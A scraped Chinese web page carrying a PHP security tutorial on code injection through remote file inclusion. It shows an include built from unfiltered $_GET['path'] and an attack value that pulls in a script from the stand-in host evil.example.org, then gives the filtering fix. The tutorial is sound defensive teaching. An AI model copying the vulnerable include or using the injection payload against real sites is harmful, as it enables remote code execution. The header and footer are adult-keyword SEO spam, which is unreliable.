亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

PHP安全-代碼注入

瀏覽:88日期:2022-09-12 08:03:12
代碼注入

一個特別危險的情形是當你試圖使用被污染數據作為動態包含的前導部分時:

<?php

include '{$_GET[’path’]}/header.inc';

?>

在這種情形下攻擊者能操縱不只是文件名,還能控制所包含的資源。由于PHP默認不只可以包含文件,還可以包含下面的資源(由配置文件中的allow_url_fopen所控制):

<?php

include ’http://www.google.com/’;

?>

include語句在此時會把http://www.google.com的網頁源代碼作為本地文件一樣包含進來。雖然上面的例子是無害的,但是想像一下如果GOOGLE返回的源代碼包含PHP代碼時會如何。這樣其中包含的PHP代碼就會被解析并執行。這是攻擊者借以發布惡意代碼摧毀你的安全體系的良機。

想象一下path的值指向了下面的攻擊者所控制的資源:

http://example.org/index.php?pat ... e.org%2Fevil.inc%3F

在上例中,path的值是URL編碼過的,原值如下:

http://evil.example.org/evil.inc?

這就導致了include語句包含并執行了攻擊者所選定的腳本(evil.inc),同時原來的文件名/header.inc會被認為是一個請求串:

<?php

include 'http://evil.example.org/evil.inc?/header.inc';

?>

這樣攻擊者就避免了去猜測剩下的目錄和文件名(/header.onc)并在evil.example.org上建立相同的路徑和文件名的必要性。相反地,在受攻擊網站的具體文件名被屏蔽的情況下,他只要保證evil.inc中輸出合法的他想要執行的代碼就行了。

這種情況與允許攻擊者在你的網站上直接修改PHP代碼一樣危險。幸運的是,只要在include和require語句前對數據進行過濾即可防止這種情況的發生:

<?php

$clean = array();

/* $_GET[’path’] is filtered and stored in $clean[’path’]. */

include '{$clean[’path’]}/header.inc';

?>

標簽: PHP
相關文章:
主站蜘蛛池模板: 国产三级精品三级国产 | 小明成人免费视频 | 国产成人精品综合久久久 | 午夜久久久久久亚洲国产精品 | 婷婷中文 | 三级黄色片在线播放 | 青青操视频在线免费观看 | 免费在线观看的黄色网址 | 91免费在线视频 | 成人a一级毛片免费看 | 国产色图视频 | 欧美日韩在线播放成人 | 国产一二三区在线 | 欧美特黄一区二区三区 | 日本美女一区二区 | 欧美日韩在线观看精品 | 国产亚洲第一 | 国产97色在线中文 | 日韩视频福利 | 黄色网址 在线播放 | 国产欧美日韩在线播放 | 免费一级特黄a | 中文 国产 亚洲 喷潮 | 欧美一级淫片a免费播放口aaa | 久久国产精品国产自线拍免费 | 天天综合色 | 久久精品免费全国观看国产 | 爱色tv| 色综合久久天天综合绕观看 | 亚洲精品99久久一区二区三区 | 一级毛片在线完整免费观看 | 51精品| 色综合久久一区二区三区 | 色综合色综合色综合网址 | 国产成人精彩在线视频50 | 亚洲丁香婷婷 | 国产亚洲欧洲精品 | 在线观看国产一区亚洲bd | 色婷婷综合久久久中文字幕 | 国产精品久久一区一区 | 久久欧美久久欧美精品 |